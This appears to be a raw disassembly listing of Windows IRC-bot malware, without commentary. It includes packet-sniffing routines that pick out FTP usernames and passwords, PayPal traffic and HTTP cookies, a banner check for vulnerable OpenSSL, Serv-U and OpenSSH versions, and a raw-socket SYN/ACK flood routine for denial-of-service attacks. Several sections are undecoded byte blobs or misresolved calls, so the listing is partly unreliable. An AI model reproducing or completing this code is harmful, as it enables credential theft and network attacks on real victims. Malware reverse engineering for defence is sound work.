; CODE XREF: sub_413003+4Fj ; sub_413003+60j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_413043: ; CODE XREF: sub_413003+3Aj push offset aNick_1 ; "NICK " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_41303F push offset aOper ; "oper " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_41303F push offset aYouAreNowAnIrc ; "You are now an IRC Operator" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_413003 endp ; =============== S U B R O U T I N E ======================================= sub_413079 proc near ; CODE XREF: sub_4131EC+32Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aFtpSniff ; "FTP sniff" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_413093 loc_41308F: ; CODE XREF: sub_413079+29j ; sub_413079+3Aj xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_413093: ; CODE XREF: sub_413079+14j push offset aFaak ; "#FAAK#" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_41308F push offset aNick_1 ; "NICK " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_41308F push offset a220 ; "220 " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_4130CA loc_4130C6: ; CODE XREF: sub_413079+60j ; sub_413079+71j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4130CA: ; CODE XREF: sub_413079+4Bj push offset a230 ; "230 " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_4130C6 push offset aUser_3 ; "USER " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_4130C6 push offset aPass_1 ; "PASS " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_413079 endp ; =============== S U B R O U T I N E ======================================= sub_413100 proc near ; CODE XREF: sub_4131EC+35Fp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aHttpSniff ; "HTTP sniff" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_41311A loc_413116: ; CODE XREF: sub_413100+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_41311A: ; CODE XREF: sub_413100+14j push offset aFaak ; "#FAAK#" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_413116 push offset aPaypal ; "paypal" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_413140 loc_41313C: ; CODE XREF: sub_413100+4Fj ; sub_413100+60j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_413140: ; CODE XREF: sub_413100+3Aj push offset aPaypal_0 ; "PAYPAL" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_41313C push offset aPaypal_com_0 ; "PAYPAL.COM" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_41313C push offset aPaypal_com ; "paypal.com" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_41313C push offset aSetCookie ; "Set-Cookie:" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_413100 endp ; =============== S U B R O U T I N E ======================================= sub_413187 proc near ; CODE XREF: sub_4131EC:loc_4135B1p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aVulnSniff ; "VULN sniff" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_4131A1 loc_41319D: ; CODE XREF: sub_413187+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_4131A1: ; CODE XREF: sub_413187+14j push offset aFaak ; "#FAAK#" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_41319D push offset aOpenssl0_9_6 ; "OpenSSL/0.9.6" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_4131C7 loc_4131C3: ; CODE XREF: sub_413187+4Fj mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4131C7: ; CODE XREF: sub_413187+3Aj push offset aServUFtpServer ; "Serv-U FTP Server" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_4131C3 push offset aOpenssh_2 ; "OpenSSH_2" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_413187 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4131EC proc near ; DATA XREF: sub_401ACD+42A0o var_113B8 = byte ptr -113B8h var_113AF = byte ptr -113AFh var_113AC = dword ptr -113ACh var_113A8 = dword ptr -113A8h var_113A4 = dword ptr -113A4h var_1138C = byte ptr -1138Ch var_13B8 = byte ptr -13B8h var_BB8 = byte ptr -0BB8h var_3B8 = byte ptr -3B8h var_3B7 = byte ptr -3B7h var_2B8 = byte ptr -2B8h var_B8 = dword ptr -0B8h var_B4 = byte ptr -0B4h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 113B8h call sub_41C500 mov eax, [ebp+arg_0] push ebx push esi push edi push 25h mov esi, eax pop ecx lea edi, [ebp+var_B8] rep movsd push 1 xor ebx, ebx pop esi lea edi, [ebp+var_3B7] push 3Fh mov [eax+90h], esi pop ecx xor eax, eax mov [ebp+var_3B8], bl push 0FFh rep stosd stosw lea eax, [ebp+var_3B8] mov [ebp+var_20], 2 push eax mov [ebp+var_1E], bx mov [ebp+var_1C], ebx call dword_4CB9E8 lea eax, [ebp+var_3B8] push eax call dword_4CBA58 movsx ecx, word ptr [eax+0Ah] mov eax, [eax+0Ch] push ecx push dword ptr [eax] lea eax, [ebp+var_8] push eax call sub_41CD20 mov eax, [ebp+var_8] add esp, 0Ch mov [ebp+var_1C], eax push ebx push 3 push 2 call dword_4CBA54 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_10], edi jnz short loc_413292 pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_413292: ; CODE XREF: sub_4131EC+9Bj lea eax, [ebp+var_20] push 10h push eax push edi call dword_4CBA00 cmp eax, 0FFFFFFFFh jnz short loc_413308 call dword_4CB968 push eax lea eax, [ebp+var_2B8] push offset unk_437870 push eax call sub_41C266 add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_4132E4 push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409869 add esp, 14h loc_4132E4: ; CODE XREF: sub_4131EC+D6j lea eax, [ebp+var_2B8] push eax call sub_415D38 pop ecx push edi call dword_4CBA6C push [ebp+var_34] call sub_40B6D6 pop ecx push ebx nop call near ptr 26E0000h loc_413308: ; CODE XREF: sub_4131EC+B6j push ebx lea eax, [ebp+var_24] push ebx push eax push ebx push ebx lea eax, [ebp+var_C] push 4 push eax push 98000001h push edi mov [ebp+var_C], esi call dword_4CB980 cmp eax, 0FFFFFFFFh jnz short loc_41338E call dword_4CB968 push eax lea eax, [ebp+var_2B8] push offset unk_437840 push eax call sub_41C266 add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_41336A push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409869 add esp, 14h loc_41336A: ; CODE XREF: sub_4131EC+15Cj lea eax, [ebp+var_2B8] push eax call sub_415D38 pop ecx push edi call dword_4CBA6C push [ebp+var_34] call sub_40B6D6 pop ecx push ebx call near ptr 26E0000h nop loc_41338E: ; CODE XREF: sub_4131EC+13Cj mov esi, 200h loc_413393: ; CODE XREF: sub_4131EC+1D6j ; sub_4131EC+1FBj ... mov edi, 0FFFFh lea eax, [ebp+var_113B8] push edi push ebx push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_113B8] push ebx push edi push eax push [ebp+var_10] call dword_4CB9EC cmp [ebp+var_113AF], 6 jnz short loc_413393 push [ebp+var_113A4] mov edi, dword_4271CC call edi ; htons push [ebp+var_113A4+2] movzx eax, ax mov [ebp+arg_0], eax call edi ; htons cmp [ebp+arg_0], 6Eh movzx edi, ax jz short loc_413393 cmp [ebp+arg_0], 19h jz short loc_413393 cmp edi, 6Eh jz short loc_413393 cmp edi, 19h jz short loc_413393 push [ebp+var_113AC] call sub_412EDD pop ecx push dword ptr [eax] nop call near ptr 71AB401Ch push eax lea eax, [ebp+var_13B8] push offset aS_1 ; "%s" push eax call sub_41C266 push [ebp+var_113A8] call sub_412EDD add esp, 10h push dword ptr [eax] nop call near ptr 71AB401Ch push eax lea eax, [ebp+var_BB8] push offset aS_1 ; "%s" push eax call sub_41C266 lea eax, [ebp+var_1138C] mov [ebp+var_4], ebx push eax call sub_41B9C0 add esp, 10h test eax, eax jle short loc_413491 loc_41345D: ; CODE XREF: sub_4131EC+2A3j mov eax, [ebp+var_4] cmp [ebp+eax+var_1138C], 0Dh lea eax, [ebp+eax+var_1138C] jnz short loc_413474 mov byte ptr [eax], 20h loc_413474: ; CODE XREF: sub_4131EC+283j cmp byte ptr [eax], 0Ah jnz short loc_41347C mov byte ptr [eax], 20h loc_41347C: ; CODE XREF: sub_4131EC+28Bj inc [ebp+var_4] lea eax, [ebp+var_1138C] push eax call sub_41B9C0 cmp [ebp+var_4], eax pop ecx jl short loc_41345D loc_413491: ; CODE XREF: sub_4131EC+26Fj cmp [ebp+arg_0], 50h jz loc_413544 cmp edi, 50h jz loc_413544 lea eax, [ebp+var_1138C] push eax call sub_412EEC test al, al pop ecx jz short loc_4134D8 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_43780C jmp loc_413573 ; --------------------------------------------------------------------------- loc_4134D8: ; CODE XREF: sub_4131EC+2C7j cmp edi, 50h jz short loc_413544 lea eax, [ebp+var_1138C] push eax call sub_413003 test al, al pop ecx jz short loc_41350E lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_4377D8 jmp short loc_413573 ; --------------------------------------------------------------------------- loc_41350E: ; CODE XREF: sub_4131EC+300j cmp edi, 50h jz short loc_413544 lea eax, [ebp+var_1138C] push eax call sub_413079 test al, al pop ecx jz short loc_413544 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_4377A4 jmp short loc_413573 ; --------------------------------------------------------------------------- loc_413544: ; CODE XREF: sub_4131EC+2A9j ; sub_4131EC+2B2j ... lea eax, [ebp+var_1138C] push eax call sub_413100 test al, al pop ecx lea eax, [ebp+var_1138C] push eax jz short loc_4135B1 lea eax, [ebp+var_BB8] push edi push eax lea eax, [ebp+var_13B8] push [ebp+arg_0] push eax push offset unk_43776C loc_413573: ; CODE XREF: sub_4131EC+2E7j ; sub_4131EC+320j ... lea eax, [ebp+var_2B8] push esi push eax call sub_41C360 add esp, 20h cmp [ebp+var_2C], ebx jnz loc_413393 push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409869 add esp, 14h jmp loc_413393 ; --------------------------------------------------------------------------- loc_4135B1: ; CODE XREF: sub_4131EC+36Ej call sub_413187 test al, al pop ecx jz loc_413393 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_437734 jmp short loc_413573 sub_4131EC endp ; --------------------------------------------------------------------------- byte_4135DF db 55h ; DATA XREF: sub_401ACD+6464o dd 0EC81EC8Bh, 494h, 5608458Bh, 0A5B957h, 0F08B0000h, 0FD6CBD8Dh dd 0A5F3FFFFh, 29080C7h, 10000h, 2FE80000h, 900227D2h dd 8CA6E850h, 858D0000h, 0FFFFFE74h, 74858D50h, 50FFFFFFh dd 0FDF4858Dh, 8D50FFFFh, 0FFFD7485h, 98E850FFh, 83000003h dd 8D5014C4h, 0FFFB6C85h, 789C68FFh, 0E8500043h, 8C1Eh dd 0C483F633h, 0F875390Ch, 8D562075h, 0FFFB6C85h, 0F475FFFFh dd 0F4858D50h, 50FFFFFEh, 0FD6CB5FFh, 0FAE8FFFFh, 83FFFF61h dd 858D14C4h, 0FFFFFB6Ch, 26BAE850h, 0B5FF0000h, 0FFFFFD70h dd 0FF804DE8h, 565959FFh, 0C96EE890h, 5E5F022Ch ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413694 proc near ; CODE XREF: ___:00413A0Bp var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = word ptr -58h var_56 = word ptr -56h var_54 = dword ptr -54h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_2A = word ptr -2Ah var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4CB944 test eax, eax jz short loc_4136D4 xor eax, eax jmp loc_4139C7 ; --------------------------------------------------------------------------- loc_4136D4: ; CODE XREF: sub_413694+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4CBA78 cmp eax, 0FFFFFFFFh mov [ebp+var_20], eax jz loc_4139BF push esi lea ecx, [ebp+var_40] push 4 push ecx push 2 push ebx push eax mov [ebp+var_40], edi call dword_4CB9B4 cmp eax, 0FFFFFFFFh jz loc_4139B5 push [ebp+arg_C] mov [ebp+var_58], 2 call dword_4CB9D4 mov esi, [ebp+arg_0] push 28h mov [ebp+var_56], ax mov [ebp+var_54], esi mov [ebp+var_34], 45h call dword_4CB9D4 push [ebp+arg_C] mov [ebp+var_32], ax mov [ebp+var_30], di mov [ebp+var_2E], bx mov [ebp+var_2C], 80h mov [ebp+var_2B], 6 mov [ebp+var_2A], bx mov [ebp+var_24], esi call dword_4CB9D4 mov [ebp+var_12], ax call sub_41C2C2 movzx eax, ax cdq mov ecx, 401h idiv ecx push edx call dword_4CB9D4 push 12345678h mov [ebp+var_14], ax call dword_4CB9D0 push offset aDdos_syn ; "ddos.syn" mov [ebp+var_10], eax push [ebp+arg_8] call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_4137A4 mov [ebp+var_C], ebx mov [ebp+var_7], 2 jmp short loc_4137F8 ; --------------------------------------------------------------------------- loc_4137A4: ; CODE XREF: sub_413694+105j push offset aDdos_ack ; "ddos.ack" push [ebp+arg_8] call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_4137C0 mov [ebp+var_C], ebx mov [ebp+var_7], 10h jmp short loc_4137F8 ; --------------------------------------------------------------------------- loc_4137C0: ; CODE XREF: sub_413694+121j push offset aDdos_random ; "ddos.random" push [ebp+arg_8] call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_4137F8 call sub_41C2C2 push 3 cdq pop ecx idiv ecx mov [ebp+var_C], edx call sub_41C2C2 push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_7], dl loc_4137F8: ; CODE XREF: sub_413694+10Ej ; sub_413694+12Aj ... push 4000h mov [ebp+var_8], 50h call dword_4CB9D4 mov [ebp+var_6], ax lea eax, [ebp+var_48] push eax mov [ebp+var_2], bx mov [ebp+arg_8], ebx call near ptr 27804FCh nop lea eax, [ebp+var_1C] push eax nop call near ptr 27802A0h push [ebp+var_44] mov eax, [ebp+arg_10] cdq push [ebp+var_48] push edx push eax call sub_41DB20 add eax, [ebp+var_1C] push 14h pop esi adc edx, [ebp+var_18] mov [ebp+var_3C], eax mov [ebp+var_38], edx loc_413846: ; CODE XREF: sub_413694+2E2j ; sub_413694+2F0j mov [ebp+var_4], bx call sub_41C2C2 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4CB9D4 mov [ebp+var_14], ax call sub_41C2C2 mov edi, eax shl edi, 10h call sub_41C2C2 or edi, eax push edi call dword_4CB9D4 movzx eax, ax mov [ebp+var_10], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4CB9D0 mov [ebp+var_28], eax mov eax, [ebp+var_24] push esi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4CB9D4 mov [ebp+var_6E], ax mov eax, [ebp+var_28] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_41CD20 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_94] push eax call sub_41CD20 lea eax, [ebp+var_B4] push 34h push eax call sub_40AA5F mov [ebp+var_4], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_41CD20 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_A0] push eax call sub_41CD20 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_41BF70 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AA5F mov [ebp+var_2A], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_41CD20 add esp, 14h lea eax, [ebp+var_58] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_20] call dword_4CBA38 cmp eax, 0FFFFFFFFh jz short loc_413989 add [ebp+arg_8], eax lea eax, [ebp+var_1C] push eax nop call near ptr 27802A0h mov eax, [ebp+var_18] cmp eax, [ebp+var_38] jg short loc_4139B2 jl loc_413846 mov eax, [ebp+var_1C] cmp eax, [ebp+var_3C] jnb short loc_4139B2 jmp loc_413846 ; --------------------------------------------------------------------------- loc_413989: ; CODE XREF: sub_413694+2CBj call dword_4CB968 push eax lea eax, [ebp+var_F4] push offset dword_4378C4 push eax call sub_41C266 lea eax, [ebp+var_F4] push eax call sub_415D38 add esp, 10h jmp short loc_4139B5 ; --------------------------------------------------------------------------- loc_4139B2: ; CODE XREF: sub_413694+2E0j ; sub_413694+2EEj mov ebx, [ebp+arg_8] loc_4139B5: ; CODE XREF: sub_413694+78j ; sub_413694+31Cj push [ebp+var_20] call dword_4CBA6C pop esi loc_4139BF: ; CODE XREF: sub_413694+5Bj call dword_4CB92C mov eax, ebx loc_4139C7: ; CODE XREF: sub_413694+3Bj pop edi pop ebx leave retn sub_413694 endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40A8F0 push dword ptr [esp+18h] mov esi, eax call sub_41C159 push dword ptr [esp+24h] mov ebx, eax call sub_41C159 mov edi, eax call sub_41C2C2 cdq mov ecx, 200h push edi idiv ecx push ebx push dword ptr [esp+2Ch] lea eax, [edx+esi+100h] push eax push esi call sub_413694 add esp, 20h test eax, eax jnz short loc_413A1A push 1 pop eax loc_413A1A: ; CODE XREF: ___:00413A15j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- byte_413A29 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+6643o dd 3BCEC81h, 56530000h, 5708458Bh, 0F08B686Ah, 44BD8D59h dd 6AFFFFFEh, 0FF685B01h, 6A000000h, 6AA5F303h, 9C988902h dd 0FF000001h, 4CBA5415h, 0FFF88300h, 75FC4589h, 6815FF5Fh dd 50004CB9h, 0FC44858Dh, 0C468FFFFh, 50004379h, 87E9E8h dd 83FF3300h, 7D390CC4h, 572075DCh, 0FC44858Dh, 75FFFFFFh dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF5DC5h dd 8D14C483h, 0FFFC4485h, 85E850FFh, 0FF000022h, 1BE8C875h dd 59FFFF7Ch, 0E8905759h, 22CC53Ch, 6AF44D8Dh, 0FF335104h dd 5057026Ah, 0FFF45D89h, 4CB9B415h, 0FFF88300h, 15FF5D75h dd 4CB968h, 44858D50h, 68FFFFFCh, 437994h, 8770E850h, 0C4830000h dd 0DC7D390Ch, 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h dd 50FFFFFFh, 0FE44B5FFh, 4EE8FFFFh, 83FFFF5Dh, 858D14C4h dd 0FFFFFC44h, 220EE850h, 75FF0000h, 7BA4E8C8h, 5959FFFFh dd 0C5E89057h, 8D022CC4h, 0FFFE4885h, 15FF50FFh, 4CBA14h dd 75FFF883h, 44858D55h, 68FFFFFCh, 437974h, 8708E850h dd 7D390000h, 755959DCh, 858D5720h, 0FFFFFC44h, 50D875FFh dd 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 5CE7E8FFh, 0C483FFFFh dd 44858D14h, 50FFFFFCh, 21A7E8h, 0C875FF00h, 0FF7B3DE8h dd 575959FFh, 2CC45FE8h, 106A9002h, 57E4458Dh, 83C2E850h dd 0C4830000h, 45C7660Ch, 570002E4h, 0B9D415FFh, 8966004Ch dd 858DE645h, 0FFFFFE48h, 1415FF50h, 8B004CBAh, 4270B035h dd 0E8458900h, 0FF087D89h, 0F84589D6h, 452BD6FFh, 0B9D233F8h dd 3E8h, 453BF1F7h, 94870FD0h, 68000001h, 41Ch, 0E74005C6h dd 0FF45004Ch, 4CB9D415h, 0D47D3900h, 0E742A366h, 8966004Ch dd 4CE7441Dh, 3D896600h, 4CE746h, 0E74805C6h, 8880004Ch dd 4CE7491Dh, 3D896600h, 4CE74Ah, 87E83074h, 8B000086h dd 8E3C1D8h, 867DE8h, 0C1D80300h, 73E808E3h, 3000086h dd 8E3C1D8h, 8669E8h, 6AD80300h, 4C1D8901h, 5B004CE7h dd 0B5FF18EBh, 0FFFFFE44h, 0FF6D95E8h, 0FF5059FFh, 4CBA1415h dd 0E74CA300h, 458B004Ch, 0E750A3E8h, 37E8004Ch, 99000086h dd 100B9h, 88F9F700h, 4CE75415h, 8624E800h, 0B9990000h dd 100h, 1588F9F7h, 4CE755h, 8611E8h, 0F0B99900h, 68000000h dd 400h, 8966F9F7h, 4CE7563Dh, 1D896600h, 4CE75Ah, 15896642h dd 4CE758h, 85E9E8h, 0FFB99900h, 0F7000000h, 5C6852F9h dd 0E8004CE7h, 8284h, 8D0CC483h, 106AE445h, 1C685750h dd 68000004h, 4CE740h, 0FFFC75FFh, 4CBA3815h, 0FFF88300h dd 45FF0874h, 0FECAE908h, 75FFFFFFh, 6C15FFFCh, 0FF004CBAh dd 4CB96815h, 858D5000h, 0FFFFFE48h, 500875FFh, 43792C68h dd 44858D00h, 68FFFFFCh, 200h, 861AE850h, 0C4830000h, 0DC7D3918h dd 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h, 50FFFFFFh dd 0FE44B5FFh, 0FEE8FFFFh, 83FFFF5Ah, 858D14C4h, 0FFFFFC44h dd 1FBEE850h, 75FF0000h, 7954E8C8h, 5959FFFFh, 75E89057h dd 0FF022CC2h, 15FFFC75h, 4CBA6Ch, 3308458Bh, 3CC06BD2h dd 0E8C1C88Bh, 0D075F70Ah, 5114E9C1h, 48858D50h, 0FFFFFFFEh dd 8D500875h, 0FFFEC885h, 858D50FFh, 0FFFFFC44h, 4378E068h dd 9BE85000h, 83000084h, 7D391CC4h, 572075DCh, 0FC44858Dh dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh dd 0FFFF5A79h, 8D14C483h, 0FFFC4485h, 39E850FFh, 0FF00001Fh dd 0CFE8C875h, 59FFFF78h, 0E8905759h, 22CC1F0h dword_413E10 dd 0B8EC8B55h, 10320h, 86E3E8h, 8458B00h, 6A575653h, 59F08B49h ; DATA XREF: sub_401ACD+542Do dd 0FEBCBD8Dh, 0A5F3FFFFh, 895F016Ah, 120B8h, 5C15FF00h dd 89004CB9h, 858D0845h, 0FFFFFF40h, 1415FF50h, 8B004CBAh dd 33DB33F0h, 0FFFE83C0h, 858D1175h, 0FFFFFF40h, 5815FF50h dd 3B004CBAh, 830674C3h, 75FF087Dh, 40858D5Dh, 50FFFFFFh dd 0FCBC858Dh, 1C68FFFFh, 5000437Ah, 83DDE8h, 0CC48300h dd 75D85D39h, 858D5320h, 0FFFFFCBCh, 50D475FFh, 0FEC0858Dh dd 0FF50FFFFh, 0FFFEBCB5h, 59BBE8FFh, 0C483FFFFh, 0BC858D14h dd 50FFFFFCh, 1E7BE8h, 0D075FF00h, 0FF7811E8h, 575959FFh dd 0C132E890h, 0C33B022Ch, 408B0C74h, 8B008B0Ch, 0FC458900h dd 758903EBh, 8D1C6AFCh, 5053E045h, 8083E8h, 0E84D8300h dd 0FFDCB8FFh, 0C4830000h, 0C445390Ch, 4589037Eh, 0C87D39C4h dd 7D89037Dh, 39F633C8h, 267EC05Dh, 8DC875FFh, 1C6AE045h dd 858D5350h, 0FFFEFCE0h, 50C475FFh, 0FFFC75FFh, 15FF0875h dd 4CB8ECh, 0C0753B46h, 75FFDA7Ch, 8C15FF08h, 8D004CBAh dd 0FFFF4085h, 858D50FFh, 0FFFFFCBCh, 4379F068h, 0FE85000h dd 83000083h, 5D390CC4h, 532075D8h, 0FCBC858Dh, 75FFFFFFh dd 858D50D4h, 0FFFFFEC0h, 0BCB5FF50h, 0E8FFFFFEh, 0FFFF58EDh dd 8D14C483h, 0FFFCBC85h, 0ADE850FFh, 0FF00001Dh, 43E8D075h dd 59FFFF77h, 0E8905359h, 22CC064h dword_413F9C dd 0B8EC8B55h, 10310h, 8557E8h, 8458B00h, 6A575653h, 59F08B49h ; DATA XREF: sub_401ACD+5679o dd 0FECCBD8Dh, 0A5F3FFFFh, 895E016Ah, 120B0h, 6FE89000h dd 500227C8h, 82E7E8h, 116A5900h, 26A026Ah, 0BA5415FFh dd 0D88B004Ch, 106AFF33h, 57F0458Dh, 7F82E850h, 0C4830000h dd 50858D0Ch, 66FFFFFFh, 2F045C7h, 15FF5000h, 4CBA14h dd 89FFF883h, 75750845h, 0FF50858Dh, 0FF50FFFFh, 4CBA5815h dd 75C73B00h, 50858D5Dh, 50FFFFFFh, 0FCCC858Dh, 7068FFFFh dd 5000437Ah, 8231E8h, 0CC48300h, 75E87D39h, 858D5720h dd 0FFFFFCCCh, 50E475FFh, 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h dd 580FE8FFh, 0C483FFFFh, 0CC858D14h, 50FFFFFCh, 1CCFE8h dd 0E075FF00h, 0FF7665E8h, 565959FFh, 0BF86E890h, 408B022Ch dd 0EB008B0Ch, 8458D03h, 7D39008Bh, 0F44589DCh, 2FE81175h dd 99000082h, 0FFDCB9h, 42F9F700h, 0FF03EB52h, 15FFDC75h dd 4CB9D4h, 66DC7539h, 7DF24589h, 0DC758903h, 0FFFFB8h dd 0DC453900h, 4589037Eh, 0D0458BDCh, 59990A6Ah, 7D39F9F7h dd 0D04589D8h, 75890375h, 39F633D8h, 1A7ED47Dh, 81E1E8h dd 0FFB99900h, 0F7000000h, 753B46F9h, 359488D4h, 0FFFEFCEFh dd 458BE67Ch, 0D04DFFD0h, 557EC085h, 8D5E0B6Ah, 106AF045h dd 0B3E85750h, 6A000081h, 0F759990Ah, 0D4458BF9h, 8D50C22Bh dd 0FEFCF085h, 0FF5350FFh, 4CBA3815h, 0D875FF00h, 0CD65E890h dd 754E0225h, 0DC7D39CEh, 83E8BC75h, 99000081h, 0FFDCB9h dd 42F9F700h, 0D415FF52h, 66004CB9h, 0EBF24589h, 50858DA1h dd 50FFFFFFh, 0FCCC858Dh, 4468FFFFh, 5000437Ah, 80F9E8h dd 0CC48300h, 75E87D39h, 858D5720h, 0FFFFFCCCh, 50E475FFh dd 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h, 56D7E8FFh, 0C483FFFFh dd 0CC858D14h, 50FFFFFCh, 1B97E8h, 0E075FF00h, 0FF752DE8h dd 575959FFh, 0BE4EE890h db 2Ch, 2 word_4141B2 dw 8B55h ; DATA XREF: sub_401ACD+4CC4o dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 0FE70858Dh dd 8D50FFFFh, 0FFFDF085h, 20E850FFh, 83000001h, 8D500CC4h dd 0FFFBEC85h, 7A9868FFh, 0E8500043h, 805Eh, 0C483F633h dd 0F875390Ch, 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h dd 50FFFFFFh, 0FDECB5FFh, 3AE8FFFFh, 83FFFF56h, 858D14C4h dd 0FFFFFBECh, 1AFAE850h, 75FF0000h, 7490E8F0h, 5959FFFFh dd 0B1E89056h, 5F022CBDh ; --------------------------------------------------------------------------- 